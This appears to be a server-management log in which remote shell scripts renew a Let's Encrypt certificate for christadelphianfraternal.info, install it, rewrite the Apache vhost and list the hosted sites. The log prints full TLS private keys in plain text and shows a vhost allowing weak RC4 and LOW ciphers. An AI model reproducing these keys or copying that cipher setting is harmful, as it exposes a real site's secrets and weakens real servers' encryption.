vKSltWCen0dYWlmVTUzNNreR4Xt4IKpKifgpePNx913smq5l+6GmpdLj+AyvGSWZ
xuuWu4TUPxR34A8nv15Et7NB2ZKeC/jHrtR0U3BDUVYsrvVsUigx9EvTxAowu9TV
QhwNIrBGo+bZgJX5kDXm3zuENY1DWfxSOf8EJIYlVQKBgQD1NG/REjGUyE6lbdyJ
x/Nd3JOxpBgjRkjoqveoU20TAW0qdasWYA6E/BFHJZ2esYcpnpyxDIG7/2531XVR
ZIQLNS60ip9U2U7EYGysk1ZXflRyz6w9cnSr9rXKGgyf5n2LzQeI4RPtC60H5NNu
SoVvlO/QSPhB4O/+ioPWYdKOTQKBgQDPtff9MGiN7HV5s0tdHxsCwD9P6gfNz4Tf
ujEbK9LZoPzRfXSYLhkBEHxrtdShLmhSKnIJGuyIswc2PROGeZ8pLP51NM9qA354
q9L7YA/a2GeGeMNHwjnswyg3IVpl9sBOUWXJE2Zs29c17qZElrr1msyqMTtXTszZ
EMdUwsYeHQKBgDmUzMVN/nKv7zgN6oI4gEAEcnJ+1GRENw7cRzgyDyUtapNT+o9Q
k1hLUUth2/fOPK1bX/R7uWOKgkiFyf0JG7D+Fi+zdeMY/NREyIBmQRpewjoL5qiv
XhKb5ujE4T4ThFv2E9Ti9ijuWv3FkJkPyvH/Canh2NqvlewyXu9THXzpAoGBALD+
SXwpVN6jAJOcsXp/d//HG+wX62B4FayjNxcFJ92krepBMio/FbVve+Y4giB6sBBb
9OJHXAk8LMgOEWZEmth2a7oqLxgSNCHVoKnteHUudEEFBLpQChXzUoBv3l0Gf2X9
PHO0IVJfnqppWqsVmeiRaRcZbox+LFZHUuOqOTINAoGAXAprnTTdMdC6m9BGfXJQ
gYvxTaR2ali/KVJSTx/G8Z7LDgp6hsXiQEdGFqaU3ZydCzyOfn4i4e/xNwnzmzDB
+1Ab+LVYSrdTfyfV8ImbYTrFqrOQIiuYGD4VSXRnDM/KWmXf0UYM2gATkvNZmtFT
9CgANuLJWF3OatgOF9z3EQU=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2025-12-28 06:00:36: Establishing a connection
2025-12-28 06:00:36: Establishing a connection
2025-12-28 06:00:36: 

PUT: /tmp/pkp407902

#!/bin/bash
if [ -d "/var/www/christadelphianfraternal_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-12-28 06:00:36: 

chmod 755 /tmp/pkp407902; /tmp/pkp407902; rm /tmp/pkp407902

2025-12-28 06:00:36: 


1


2025-12-28 06:00:37: Establishing a connection
2025-12-28 06:00:37: 

PUT: /tmp/pkp969402

#!/bin/bash
mkdir -p "/var/www/christadelphianfraternal_www/.well-known/acme-challenge/"
cd "/var/www/christadelphianfraternal_www/.well-known/acme-challenge/"
cat > NgJfBFATkXjUAdqpkRQVak_ZEx19aIUko5O9c1JDB8s <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
NgJfBFATkXjUAdqpkRQVak_ZEx19aIUko5O9c1JDB8s.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 NgJfBFATkXjUAdqpkRQVak_ZEx19aIUko5O9c1JDB8s
cat > t5RijCEhTDLpQkb6a3mNiH2DxM8Ub0_5Vdvn3L1CPg4 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
t5RijCEhTDLpQkb6a3mNiH2DxM8Ub0_5Vdvn3L1CPg4.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 t5RijCEhTDLpQkb6a3mNiH2DxM8Ub0_5Vdvn3L1CPg4


2025-12-28 06:00:37: 

chmod 755 /tmp/pkp969402; /tmp/pkp969402; rm /tmp/pkp969402

2025-12-28 06:00:37: 




2025-12-28 06:00:45: Establishing a connection
2025-12-28 06:00:45: 

PUT: /tmp/pkp978682

#!/bin/bash
mkdir -p "/var/www/christadelphianfraternal_www/.well-known/acme-challenge/"
cd "/var/www/christadelphianfraternal_www/.well-known/acme-challenge/"
rm NgJfBFATkXjUAdqpkRQVak_ZEx19aIUko5O9c1JDB8s
rm t5RijCEhTDLpQkb6a3mNiH2DxM8Ub0_5Vdvn3L1CPg4


2025-12-28 06:00:46: 

chmod 755 /tmp/pkp978682; /tmp/pkp978682; rm /tmp/pkp978682

2025-12-28 06:00:46: 




2025-12-28 06:00:46: Establishing a connection
2025-12-28 06:00:46: 

PUT: /tmp/pkp544146

#!/bin/bash
temp_file=$(mktemp)
TARGET=b4498780588346731659d115ecf1bb4c.crt

cat > $temp_file <<'endmsg'
b5:e8:fc:fa:cf:83:18:a1:ed:31:aa:19:53:06:b0:bc

-----BEGIN CERTIFICATE-----
MIIFODCCBCCgAwIBAgISBbBMOWZa5SpdgeAhNIVzGD1JMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjI4MDUwMjE1WhcNMjYwMzI4MDUwMjE0WjAoMSYwJAYDVQQD
Ex1jaHJpc3RhZGVscGhpYW5mcmF0ZXJuYWwuaW5mbzCCASIwDQYJKoZIhvcNAQEB
BQADggEPADCCAQoCggEBALdE8bvbOc1XuAP1uRgNVfx7t0QjP6t7bDZdYYdOuVFX
3Jg4jcZoSgwt162iF9aLEXy1W1d7q7C/3DiaITZg9u2/3Ri6vu+O+lhIVS5oRmY+
gZu5vaCOP3BueuMrtHiXkGHpM3r5btVN0nKPReJ/Lx+zatx16SggegIYLn2FqgVz
Dz2rUUU+n+etg6C39moTOSd4QdGpXWLj8DD1sLWWToqI099Iuws4vAd/n8fuGxUy
WYmrr3q74D0TAs8YKB31kbW48Sv8GYY6IwDKMPDG958vn8ygl5YTAa4jrU/B7Gkb
REWegBZdvbuLrZLaQeRujgiCuCu3N2a1ZGaaiPMH4m0CAwEAAaOCAk8wggJLMA4G
A1UdDwEB/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYD
VR0TAQH/BAIwADAdBgNVHQ4EFgQUnwd2gGRCPZe+yE/jxiiZ/x7I6N8wHwYDVR0j
BBgwFoAU56ufDywzoFPTXk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsG
AQUFBzAChhdodHRwOi8vcjEzLmkubGVuY3Iub3JnLzBLBgNVHREERDBCgh1jaHJp
c3RhZGVscGhpYW5mcmF0ZXJuYWwuaW5mb4Ihd3d3LmNocmlzdGFkZWxwaGlhbmZy
YXRlcm5hbC5pbmZvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6Ah
oB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvNzQuY3JsMIIBAwYKKwYBBAHWeQIE
AgSB9ASB8QDvAHUAZBHEbKQS7KeJHKICLgC8q08oB9QeNSer6v7VA8l9zfAAAAGb
Y4t/fQAABAMARjBEAiBxLWW3FcjtHOAmcYlhit7lqT8wGspkLetN6AmaIpOgLwIg
frJCfyy1XoKmrxquYHob1YOY3S6OQZGmmexTdxuq/rYAdgDRbqmlaAd+ZjWgPzel
3bwDpTxBEhTUiBj16TGzI8uVBAAAAZtji4B9AAAEAwBHMEUCIQCS+y5bwvIOxbR1
6g7ceC0tCJKdphekmN6ckwXZrrPZ5wIgI1TaRT5eZHEUVY2Gr0stPmcz9jvEumgX
txsqa9XCmaEwDQYJKoZIhvcNAQELBQADggEBAJh1Sn8p1NGQrARf8Z4qJIgLZAGD
X8BwCcNrf4n32peLkwD9hPd2VxBrhdvcxoLBJpwZbGmGRM8kwqZLh94XWrevS5Zv
BxUY8+OQxvkWsBuY7iE8FTEiNs85fAwCUlkwMlMB8/bvAbvjp2ZkHlHDjvXfYoj+
hCI0QSY16845CeTAO8ky7VpxohfXnBmhDbVzHQ/VJ/ILsh5Oc4HLR/Q2Xfzm819H
DRDRAasCy1IVFfTVh8PPIHpcq/MILOCKq6Zh3V7Y/RaR2udOd206OxXc1shbmxXy
+G4/iJ1cvRbyXOvCqQaV7NbbAMn9tU9pnXM/IUrxwMC5N+4oTh0sPplwSA8=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC3RPG72znNV7gD
9bkYDVX8e7dEIz+re2w2XWGHTrlRV9yYOI3GaEoMLdetohfWixF8tVtXe6uwv9w4
miE2YPbtv90Yur7vjvpYSFUuaEZmPoGbub2gjj9wbnrjK7R4l5Bh6TN6+W7VTdJy
j0Xify8fs2rcdekoIHoCGC59haoFcw89q1FFPp/nrYOgt/ZqEzkneEHRqV1i4/Aw
9bC1lk6KiNPfSLsLOLwHf5/H7hsVMlmJq696u+A9EwLPGCgd9ZG1uPEr/BmGOiMA
yjDwxvefL5/MoJeWEwGuI61PwexpG0RFnoAWXb27i62S2kHkbo4IgrgrtzdmtWRm
mojzB+JtAgMBAAECggEADuWEvJ9KKH270F6Vx/W1iotHzzsKPtcOabDXb5cfixQY
MytNotXxRuInCM8HHwI4zqkzHn5H61r8/IDSuEfTamnQ/+SWBoTZpnliqx4Asujb
whur5TQKxgnE5Vg1GCRBsSOycol5z86+j19D7/AklXAQ/JB8/iz9ndP3W26U7lJT
rbXMelTqaKJXF0Gozl19elwyjnwDg93QrXY5ezFPUjObdhoSnC7sUXTpgTxee0Gd
fRYNSse6upZerr1DTIB20aJs5ALKGE6ZCdTjgnJWadZDdyArw6O/nyLTvmHjTRgI
+lOtDhzDdnaDxCOIvuUxtuZf3eX470CreCBNb+CRxQKBgQDe45jpFpe8+DeUCuz3
La45zgVtoTbzBQNihiTbRPZQpJKdRrepo7hnvnszWcrhsK0CjREk1X3fZ+NN/OYn
8YM6gy+lfPmpA1QQSk1+BwW5x4uLthEMpU/QSPnHN++46fvjVaNzFlADWcpik/tl
5L1w/dx7maKdhxV5wZ25l9RtywKBgQDSfp7SF/+EI/N5YlX5nK/II5eYtbrWZ53r
jrUC7hBfYaoCze6ybmVYWhEEL/Uy+JR9cl2WSIoBTFCpFwQCG3IiCqMgBt+Lg8dM
yw8cxEcWVL++rAkh5Zat9vJ+qgdFeIXI6l/nelHMGqG1XM7EC7WBYVcMvaC+Volw
cfY/RcRppwKBgQCuuzwXlreT0/82Fq6YQ/5uoH0O6bB7KXXy2fiw0MpMhAfQNi0r
VwbshZ5trjnnXirzcgV7m8ZWykmezODddW8MAuXqVSQfhFV1g9pmLzkk4DMcbrnE
8R+1yE/QBqDulLf8Cxnc0iQdzFllmF8gDQcaOlmLp/Ccj9adIdT1Nvq4qwKBgGcA
+ysH/0tkZFJz4mqBWCtx708VLtaYYdjRPpaudGiYXB9/Ml0yVHmFqWoJJc3JgrBY
dJ+D47R66cW0s4tsbs9lsSmM83tMAwz7GOwUyEyPMD1X5igmNzPt8gA1p9VBAwas
Wj3lx30/Uv5y6eNZb3pebcCYUr6RjjPuMHgJ5fFlAoGBALRrcS1n1ZDddoybZN2e
2hF5+6jcrNYNLXN4NEpxVrMefVgmUOPXPx+VlTdOInd0TG3HqNDX6LKMkAuFDi42
2VPy1J9UYuD8w4bhnKJGDCaybzlxAQZ3Bl6vOVsy/WSxnSH0Uk5/+iHbzJ1xgrMC
+AgIJ5Zom/ll8mhDvJm1sxx3
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-12-28 06:00:46: 

chmod 755 /tmp/pkp544146; /tmp/pkp544146; rm /tmp/pkp544146

2025-12-28 06:00:46: 


dir=/etc/ssl/certs


2025-12-28 06:00:46: 

PUT: /tmp/pkp649548

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-12-28 06:00:46: 

chmod 755 /tmp/pkp649548; /tmp/pkp649548; rm /tmp/pkp649548

2025-12-28 06:00:46: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf 57

<VirtualHost *:80>
    ServerName	christadelphianfraternal.info
    ServerAlias	www.christadelphianfraternal.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/christadelphianfraternal_www
    <Directory /var/www/christadelphianfraternal_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/christadelphianfraternal/www_access.log combined
    ErrorLog	/var/log/apache2/christadelphianfraternal/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	christadelphianfraternal.info
    ServerAlias	www.christadelphianfraternal.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/b4498780588346731659d115ecf1bb4c.crt
    DocumentRoot	/var/www/christadelphianfraternal_www
    <Directory /var/www/christadelphianfraternal_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/christadelphianfraternal/www_secure_access.log combined
    ErrorLog	/var/log/apache2/christadelphianfraternal/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-12-28 06:00:46: 

PUT: /tmp/pkp605506

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=christadelphianfraternal_www_info.conf
TARGET=/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	christadelphianfraternal.info
    ServerAlias	www.christadelphianfraternal.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/christadelphianfraternal_www
    <Directory /var/www/christadelphianfraternal_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/christadelphianfraternal/www_access.log combined
    ErrorLog	/var/log/apache2/christadelphianfraternal/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	christadelphianfraternal.info
    ServerAlias	www.christadelphianfraternal.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/b4498780588346731659d115ecf1bb4c.crt
    DocumentRoot	/var/www/christadelphianfraternal_www
    <Directory /var/www/christadelphianfraternal_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/christadelphianfraternal/www_secure_access.log combined
    ErrorLog	/var/log/apache2/christadelphianfraternal/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf)= /etc/apache2//etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf= 1'
fi


2025-12-28 06:00:46: 

chmod 755 /tmp/pkp605506; /tmp/pkp605506; rm /tmp/pkp605506

2025-12-28 06:00:46: 




2025-12-28 06:00:46: 

PUT: /tmp/pkp262053

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-12-28 06:00:46: 

chmod 755 /tmp/pkp262053; /tmp/pkp262053; rm /tmp/pkp262053

2025-12-28 06:00:46: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-12-28 06:00:46: Establishing a connection
2025-12-28 06:00:46: 

PUT: /tmp/pkp433661

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-12-28 06:00:46: 

chmod 755 /tmp/pkp433661; /tmp/pkp433661; rm /tmp/pkp433661

2025-12-28 06:00:46: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:2)
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
                 alias www.carelinksaustralia.info
         port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
                 alias www.carelinksoutreach.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:24)
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
                 alias www.carelinksaustralia.info
         port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
                 alias www.carelinksoutreach.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:19)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
